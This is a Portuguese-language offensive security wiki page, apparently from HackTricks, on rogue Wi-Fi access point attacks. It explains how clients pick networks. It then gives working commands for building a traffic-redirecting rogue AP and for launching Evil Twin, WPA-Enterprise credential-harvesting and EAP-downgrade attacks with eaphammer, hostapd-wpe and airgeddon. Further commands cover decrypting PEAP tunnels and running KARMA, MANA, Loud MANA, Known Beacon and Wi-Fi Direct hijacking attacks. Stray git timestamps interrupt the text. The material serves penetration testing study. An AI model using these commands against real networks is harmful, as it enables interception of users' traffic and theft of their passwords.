Cada vez que uma estação se conecta a uma rede sem fio, o ESSID da rede é armazenado na Lista de Redes Preferenciais (PNL) da estação. A PNL é uma lista ordenada de todas as redes às quais a estação se conectou no passado, e cada entrada na PNL contém o ESSID da rede e quaisquer informações de configuração específicas da rede necessárias para estabelecer uma conexão.
### Varredura Passiva
Em redes de infraestrutura, os pontos de acesso transmitem periodicamente quadros de beacon para anunciar sua presença e capacidades para as estações próximas. Beacons são quadros de broadcast, o que significa que são destinados a ser recebidos por todas as estações próximas dentro do alcance. Beacons incluem informações sobre as taxas suportadas pelo AP, capacidades de criptografia, informações adicionais e, mais importante, quadros de beacon contêm o ESSID do AP (desde que a transmissão do ESSID não esteja desativada).
Durante a varredura passiva, o dispositivo cliente escuta por quadros de beacon de pontos de acesso próximos. Se o dispositivo cliente receber um quadro de beacon cujo campo ESSID corresponda a um ESSID da PNL do cliente, o cliente se conectará automaticamente ao ponto de acesso que enviou o quadro de beacon. Então, suponha que queremos mirar em um dispositivo sem fio que não está atualmente conectado a nenhum wireless. Se soubermos pelo menos uma entrada na PNL desse cliente, podemos forçar o cliente a se conectar a nós simplesmente criando nosso próprio ponto de acesso com o ESSID dessa entrada.
### Sondagem Ativa
O segundo algoritmo de seleção de rede usado no 802.11 é conhecido como Sondagem Ativa. Dispositivos clientes que usam sondagem ativa transmitem continuamente quadros de solicitação de sondagem para determinar quais APs estão ao alcance, bem como quais são suas capacidades. Solicitações de sondagem vêm em duas formas: direcionadas e de broadcast. Solicitações de sondagem direcionadas são endereçadas a um ESSID específico e são a maneira do cliente verificar se uma rede específica está por perto.
Clientes que usam sondagem direcionada enviarão solicitações de sondagem para cada rede em sua PNL. Deve-se notar que a sondagem direcionada é a única maneira de identificar a presença de redes ocultas próximas. Solicitações de sondagem de broadcast funcionam quase exatamente da mesma maneira, mas são enviadas com o campo SSID definido como NULL. Isso endereça a sondagem de broadcast a todos os pontos de acesso próximos, permitindo que a estação verifique se alguma de suas redes preferenciais está por perto sem revelar o conteúdo de sua PNL
## AP Simples com redirecionamento para a Internet
Antes de explicar como realizar ataques mais complexos, será explicado **como** simplesmente **criar** um **AP** e **redirecionar** seu **tráfego** para uma interface conectada **à** **Internet**.
2023-06-06 18:56:34 +00:00
Usando `ifconfig -a`, verifique se a interface wlan para criar o AP e a interface conectada à Internet estão presentes.
### DHCP & DNS
```bash
apt-get install dnsmasq #Manages DHCP and DNS
```
crie um arquivo de configuração _/etc/dnsmasq.conf_ da seguinte forma:
```
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
```
Então **defina IPs** e **rotas**:
```
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
```
2023-06-06 18:56:34 +00:00
E então **inicie** o dnsmasq:
```
dnsmasq -C dnsmasq.conf -d
```
2022-05-01 16:57:45 +00:00
### hostapd
```
apt-get install hostapd
```
Criar um arquivo de configuração _hostapd.conf:_
```
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
```
**Interrompa processos incômodos**, defina o **modo monitor** e **inicie o hostapd**:
```
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf
```
2023-06-06 18:56:34 +00:00
### Encaminhamento e Redirecionamento
2022-02-28 10:47:36 +00:00
```bash
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
```
## Evil Twin
Um ataque Evil Twin é um tipo de ataque Wi-Fi que se aproveita do fato de que a maioria dos computadores e telefones só verá o "nome" ou ESSID de uma rede sem fio (já que a estação base não é obrigada a se autenticar contra o cliente). Isso realmente torna muito difícil distinguir entre redes com o mesmo nome e mesmo tipo de criptografia. De fato, muitas redes terão vários pontos de acesso para extensão de rede, todos usando o mesmo nome para expandir o acesso sem confundir os usuários.
Devido à forma como a implementação dos clientes funciona (lembre-se de que o protocolo 802.11 permite que as estações roam livremente entre pontos de acesso dentro do mesmo ESS), é possível fazer com que um dispositivo mude a estação base à qual está conectado. Isso pode ser feito oferecendo um sinal melhor (o que nem sempre é possível) ou bloqueando o acesso à estação base original (pacotes de desautenticação, jamming ou alguma outra forma de ataque DoS).
Note também que implementações reais de redes sem fio geralmente têm mais de um ponto de acesso, e esses pontos de acesso costumam ser mais potentes e ter melhor alcance de linha de visão devido ao seu posicionamento em direção ao teto. Desautenticar um único ponto de acesso geralmente resulta no roaming do alvo para outro ponto de acesso válido, em vez do seu AP rogue, a menos que todos os pontos de acesso próximos sejam desautenticados (barulhento) ou você seja muito cuidadoso com o posicionamento do AP rogue (difícil).
Você pode criar um Open Evil Twin muito básico (sem capacidade de rotear tráfego para a Internet) fazendo:
```bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
```
Você também pode criar um Gêmeo Maligno usando **eaphammer** (observe que para criar gêmeos malignos com eaphammer a interface **NÃO deve estar** em modo **monitor**):
```
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
```
Ou usando Airgeddon: `Opções: 5,6,7,8,9 (dentro do menu de ataque Evil Twin).`
2022-02-28 10:47:36 +00:00
![](<../../.gitbook/assets/image (148).png>)
Por favor, note que por padrão, se um ESSID na PNL estiver salvo como protegido por WPA, o dispositivo não se conectará automaticamente a um Evil Twin aberto. Você pode tentar fazer DoS no AP real e esperar que o usuário se conecte manualmente ao seu Evil Twin aberto, ou você pode fazer DoS no AP real e usar um WPA Evil Twin para capturar o handshake (usando este método, você não poderá permitir que a vítima se conecte a você, pois você não conhece o PSK, mas pode capturar o handshake e tentar decifrá-lo).
_Alguns SO e AV alertarão o usuário de que conectar-se a uma rede aberta é perigoso..._
### WPA/WPA2 Evil Twin
Você pode criar um **Evil Twin usando WPA/2** e se os dispositivos estiverem configurados para se conectar a esse SSID com WPA/2, eles tentarão se conectar. De qualquer forma, **para completar o 4-way-handshake**, você também precisa **saber** a **senha** que o cliente vai usar. Se você **não souber**, a **conexão não será completada**.
```
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
```
### Gêmeo Maligno Corporativo
Para entender esses ataques, recomendo ler antes a breve [explicação sobre WPA Enterprise](./#wpa-enterprise-mgt).
**Usando hostapd-wpe**
`hostapd-wpe` precisa de um arquivo de **configuração** para funcionar. Para **automatizar** a geração dessas configurações, você pode usar [https://github.com/WJDigby/apd_launchpad](https://github.com/WJDigby/apd_launchpad) (baixe o arquivo python dentro de _/etc/hostapd-wpe/_)
```
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
```
No arquivo de configuração, você pode selecionar várias coisas diferentes, como ssid, canal, arquivos de usuário, cret/key, parâmetros dh, versão wpa e autenticação...
[**Usando hostapd-wpe com EAP-TLS para permitir que qualquer certificado faça login.**](evil-twin-eap-tls.md)
**Usando EAPHammer**
```bash
# Generate Certificates
./eaphammer --cert-wizard
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
```
Por padrão, o EAPHammer utiliza estes métodos de autenticação (observe o GTC como o primeiro a ser testado para obter senhas em texto puro e, em seguida, o uso de métodos de autenticação mais robustos):
```
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
```
Esta é a metodologia padrão para evitar tempos de conexão longos. No entanto, você também pode especificar ao servidor os métodos de autenticação do mais fraco ao mais forte:
```
--negotiate weakest
```
2023-06-06 18:56:34 +00:00
Ou você também pode usar:
* `--negotiate gtc-downgrade` para usar a implementação altamente eficiente de GTC downgrade (senhas em texto simples)
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` para especificar manualmente os métodos oferecidos (oferecendo os mesmos métodos de autenticação na mesma ordem que a organização tornará o ataque muito mais difícil de detectar).
* [Encontre mais informações no wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
**Usando Airgeddon**
`Airgeddon` pode usar certificados previamente gerados para oferecer autenticação EAP para redes WPA/WPA2-Enterprise. A rede falsa irá rebaixar o protocolo de conexão para EAP-MD5, assim será capaz de **capturar o usuário e o MD5 da senha**. Posteriormente, o atacante pode tentar quebrar a senha.\
`Airggedon` oferece a possibilidade de um ataque **Evil Twin contínuo (barulhento)** ou **criar o Ataque Evil apenas até alguém se conectar (suave).**
2022-02-28 10:47:36 +00:00
![](<../../.gitbook/assets/image (129).png>)
### Depuração de túneis TLS PEAP e EAP-TTLS em ataques Evil Twins
2023-06-06 18:56:34 +00:00
_Este método foi testado em uma conexão PEAP, mas como estou descriptografando um túnel TLS arbitrário, isso também deve funcionar com EAP-TTLS_
Dentro da **configuração** do _hostapd-wpe_ **comente** a linha que contém _**dh\_file**_ (de `dh_file=/etc/hostapd-wpe/certs/dh` para `#dh_file=/etc/hostapd-wpe/certs/dh`)\
Isso fará com que `hostapd-wpe` **troque chaves usando RSA** em vez de DH, para que você possa **descriptografar** o tráfego mais tarde **conhecendo a chave privada do servidor**.
Agora inicie o **Evil Twin** usando **`hostapd-wpe`** com essa configuração modificada como de costume. Além disso, inicie **`wireshark`** na **interface** que está realizando o ataque Evil Twin.
Agora ou mais tarde (quando você já tiver capturado algumas tentativas de autenticação) você pode adicionar a chave privada RSA ao wireshark em: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
Adicione uma nova entrada e preencha o formulário com estes valores: **Endereço IP = qualquer** -- **Porta = 0** -- **Protocolo = data** -- **Arquivo de Chave** (**selecione seu arquivo de chave**, para evitar problemas selecione um arquivo de chave **sem proteção por senha**).
2022-02-28 10:47:36 +00:00
![](<../../.gitbook/assets/image (151).png>)
E veja a nova aba **"Decrypted TLS"**:
2022-02-28 10:47:36 +00:00
![](<../../.gitbook/assets/image (152).png>)
## KARMA, MANA, Loud MANA e ataque Known beacons
### ESSID e MAC black/whitelists
A tabela a seguir lista os diferentes tipos de MFACLs (Listas de Controle de Acesso de Quadros de Gerenciamento) disponíveis, bem como seus efeitos quando utilizados:
2022-02-28 10:47:36 +00:00
![](<../../.gitbook/assets/image (149).png>)
```
# example EAPHammer MFACL file, wildcards can be used
78:f0:97:fc:b5:36
9a:35:e1:01:4f:cf
69:19:14:60:20:45
ce:52:b8:*:*:*
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
```
```
# example ESSID-based MFACL file
apples
oranges
grapes
pears
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
```
2022-05-01 16:57:45 +00:00
### KARMA
Ataques KARMA são uma segunda forma de ataque de ponto de acesso falso que explora o processo de seleção de rede usado por estações. Em um whitepaper escrito em 2005, Dino Dai Zovi e Shane Macaulay descrevem como um atacante pode configurar um ponto de acesso para ouvir solicitações de sondagem direcionadas e responder a todas elas com respostas de sondagem direcionadas correspondentes. Isso faz com que as estações afetadas automaticamente enviem uma solicitação de associação para o ponto de acesso do atacante. O ponto de acesso então responde com uma resposta de associação, fazendo com que as estações afetadas se conectem ao ponto de acesso do atacante.
2022-05-01 16:57:45 +00:00
### MANA
De acordo com Ian de Villiers e Dominic White, estações modernas são projetadas para se protegerem contra ataques KARMA ignorando respostas de sondagem direcionadas de pontos de acesso que não responderam pelo menos a uma solicitação de sondagem de difusão. Isso levou a uma queda significativa no número de estações vulneráveis a ataques KARMA até 2015, quando White e de Villiers desenvolveram um meio de contornar tais proteções. No ataque KARMA aprimorado de White e de Villiers (ataque MANA), respostas de sondagem direcionadas são usadas para reconstruir as PNLs de estações próximas. Quando uma solicitação de sondagem de difusão é recebida de uma estação, o ponto de acesso do atacante responde com um SSID arbitrário da PNL da estação já visto em uma sondagem direta daquele dispositivo.
Em resumo, o algoritmo MANA funciona assim: cada vez que o ponto de acesso recebe uma solicitação de sondagem, ele primeiro determina se é uma sondagem de difusão ou direcionada. Se for direcionada, o endereço MAC do remetente é adicionado à tabela de hash (se já não estiver lá) e o ESSID é adicionado à PNL daquele dispositivo. O AP então responde com uma resposta de sondagem direcionada. Se for uma sondagem de difusão, o ponto de acesso responde com respostas de sondagem para cada uma das redes na PNL daquele dispositivo.
Ataque MANA usando eaphammer:
```
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
```
### Loud MANA
Note que o ataque MANA padrão ainda não nos permite atacar dispositivos que não utilizam sondagem direcionada. Então, se também não conhecemos previamente nenhuma entrada na PNL do dispositivo, precisamos descobrir outra maneira de atacá-lo.
Uma possibilidade é o que é chamado de ataque Loud MANA. Esse ataque se baseia na ideia de que dispositivos clientes próximos fisicamente uns dos outros provavelmente terão pelo menos algumas entradas comuns em suas PNLs.
Em resumo, o ataque Loud MANA, em vez de responder a solicitações de sondagem com cada ESSID na PNL de um dispositivo específico, o AP malicioso envia respostas de sondagem para cada ESSID em todas as PNLs de todos os dispositivos que ele viu anteriormente. Relacionando isso com a teoria dos conjuntos, podemos dizer que o AP envia respostas de sondagem para cada ESSID na união de todas as PNLs dos dispositivos próximos.
```
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
```
### Ataque Known Beacon
Ainda existem casos em que o ataque Loud MANA não terá sucesso.\
O ataque Known Beacon é uma maneira de "Força Bruta" para tentar fazer com que a vítima se conecte ao atacante. O atacante cria um AP que responde a qualquer ESSID e executa um código enviando beacons falsificando ESSIDs de cada nome dentro de uma lista de palavras. Com sorte, a vítima terá alguns desses nomes de ESSID em sua PNL e tentará se conectar ao AP falso.\
Eaphammer implementou esse ataque como um ataque MANA onde todos os ESSIDs dentro de uma lista são carregados (você também pode combinar isso com `--loud` para criar um ataque Loud MANA + Known beacons):
```
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
```
**Ataque Known Beacon Burst**
Como é sabido, beacons são barulhentos. Você pode usar um script dentro do projeto Eaphammer para lançar beacons de cada nome ESSID dentro de um arquivo muito rapidamente. Se você combinar esse script com um ataque MANA do Eaphammer, os clientes poderão se conectar ao seu AP.
```
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5
```
2022-05-01 16:57:45 +00:00
## Wi-Fi Direct
Wi-Fi Direct é um padrão Wi-Fi que permite que dispositivos se conectem entre si sem um AP sem fio, pois um dos dois dispositivos atuará como AP (chamado de proprietário do grupo). Você pode encontrar Wi-Fi Direct em muitos dispositivos IoT, como impressoras, TVs...
Wi-Fi Direct depende do Wi-Fi Protected Setup (**WPS**) para conectar os dispositivos de forma segura. O WPS possui vários métodos de configuração, como Configuração por **Push-Button** (PBC), entrada de **PIN** e Comunicação por **Near-Field** (NFC)
2023-06-06 18:56:34 +00:00
Portanto, os ataques anteriormente vistos ao PIN do WPS também são válidos aqui se o PIN for usado.
2022-02-28 10:47:36 +00:00
### EvilDirect Hijacking
2022-02-28 10:47:36 +00:00
Isso funciona como um Evil-Twin, mas para Wi-Fi Direct, você pode se passar por um proprietário de grupo para tentar fazer com que outros dispositivos, como telefones, se conectem a você: `airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0`
2023-06-06 18:56:34 +00:00
## Referências
* [https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee](https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee)
* [https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9](https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9)
* [https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38](https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38)
* [https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d](https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d)
* [https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf](https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf)
* [http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
* [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
* [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d)
TODO: Dê uma olhada em [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login com facebook e imitação de WPA em portais cativos)
2022-04-28 16:01:33 +00:00
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Participe do servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
2023-03-05 19:54:13 +00:00
**Insights de Hacking**\
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
2023-02-27 09:28:45 +00:00
**Notícias de Hacking em Tempo Real**\
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
2023-02-27 09:20:33 +00:00
**Últimos Anúncios**\
Fique informado com os mais novos lançamentos de recompensas por bugs e atualizações cruciais da plataforma
2022-10-27 23:22:18 +00:00
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
2022-10-27 23:22:18 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
2022-04-28 16:01:33 +00:00
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Participe do** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou do [**grupo telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios do github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>